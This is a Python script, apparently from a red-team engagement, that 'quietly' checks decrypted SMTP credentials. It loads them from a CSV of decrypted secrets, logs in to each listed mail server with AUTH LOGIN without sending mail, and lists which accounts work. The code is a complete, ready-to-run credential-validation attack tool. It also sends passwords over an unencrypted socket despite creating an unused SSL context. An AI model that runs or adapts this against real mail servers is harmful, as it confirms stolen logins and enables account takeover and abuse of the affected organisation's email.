#!/usr/bin/env python3
"""
Тихая проверка SMTP credentials - только логин, без отправки писем
"""
import socket
import base64
import ssl
from pathlib import Path

def test_smtp_login(host, port, username, password):
    """Тихая проверка SMTP login без отправки писем"""
    try:
        # Создаем SSL контекст
        context = ssl.create_default_context()
        
        # Подключаемся к SMTP серверу
        with socket.create_connection((host, port), timeout=10) as sock:
            # Получаем приветствие
            response = sock.recv(1024).decode('utf-8', errors='ignore')
            if not response.startswith('220'):
                return False, f"SMTP server not ready: {response[:50]}"
            
            # Отправляем EHLO
            sock.send(b'EHLO test.com\r\n')
            response = sock.recv(1024).decode('utf-8', errors='ignore')
            if not response.startswith('250'):
                return False, f"EHLO failed: {response[:50]}"
            
            # Проверяем поддержку AUTH LOGIN
            if 'AUTH' not in response.upper():
                return False, "Server doesn't support authentication"
            
            # Отправляем AUTH LOGIN
            sock.send(b'AUTH LOGIN\r\n')
            response = sock.recv(1024).decode('utf-8', errors='ignore')
            if not response.startswith('334'):
                return False, f"AUTH LOGIN rejected: {response[:50]}"
            
            # Отправляем username (base64)
            username_b64 = base64.b64encode(username.encode()).decode()
            sock.send(f'{username_b64}\r\n'.encode())
            response = sock.recv(1024).decode('utf-8', errors='ignore')
            if not response.startswith('334'):
                return False, f"Username rejected: {response[:50]}"
            
            # Отправляем password (base64)
            password_b64 = base64.b64encode(password.encode()).decode()
            sock.send(f'{password_b64}\r\n'.encode())
            response = sock.recv(1024).decode('utf-8', errors='ignore')
            
            # Проверяем результат аутентификации
            if response.startswith('235'):
                return True, "Authentication successful"
            else:
                return False, f"Authentication failed: {response[:50]}"
                
    except socket.timeout:
        return False, "Connection timeout"
    except ConnectionRefusedError:
        return False, "Connection refused"
    except Exception as e:
        return False, f"Error: {str(e)}"

def main():
    print("=== Тихая проверка SMTP credentials ===\n")
    
    # Загружаем расшифрованные credentials
    creds_file = Path('/root/ir-assessment/redteam/irelydata/endpoints_usernames_decrypted/decrypted_credentials.csv')
    
    if not creds_file.exists():
        print("❌ Файл с credentials не найден")
        return
    
    # Читаем SMTP credentials
    smtp_creds = []
    with open(creds_file, 'r', encoding='utf-8') as f:
        lines = f.readlines()
        for line in lines[1:]:  # Пропускаем заголовок
            if 'smtp_global' in line and 'testing@irely.com' in line:
                parts = line.strip().split(',')
                if len(parts) >= 7:
                    smtp_creds.append({
                        'db': parts[0],
                        'username': parts[4],
                        'password': parts[5],
                        'host': parts[6],
                        'port': int(parts[7]) if parts[7].isdigit() else 587
                    })
    
    if not smtp_creds:
        print("❌ SMTP credentials не найдены")
        return
    
    print(f"Найдено {len(smtp_creds)} SMTP credentials для проверки\n")
    
    # Тестируем каждый credential
    successful_logins = []
    failed_logins = []
    
    for cred in smtp_creds[:5]:  # Тестируем первые 5
        print(f"Testing: {cred['username']}@{cred['host']}:{cred['port']}")
        
        success, message = test_smtp_login(
            cred['host'], 
            cred['port'], 
            cred['username'], 
            cred['password']
        )
        
        if success:
            print(f"  ✅ {message}")
            successful_logins.append(cred)
        else:
            print(f"  ❌ {message}")
            failed_logins.append(cred)
        
        print()
    
    # Результаты
    print("=== Результаты ===")
    print(f"Успешных логинов: {len(successful_logins)}")
    print(f"Неудачных логинов: {len(failed_logins)}")
    
    if successful_logins:
        print("\n✅ Рабочие credentials:")
        for cred in successful_logins:
            print(f"  - {cred['username']}@{cred['host']}:{cred['port']} (db: {cred['db']})")
    
    if failed_logins:
        print("\n❌ Нерабочие credentials:")
        for cred in failed_logins:
            print(f"  - {cred['username']}@{cred['host']}:{cred['port']} (db: {cred['db']})")

if __name__ == '__main__':
    main()
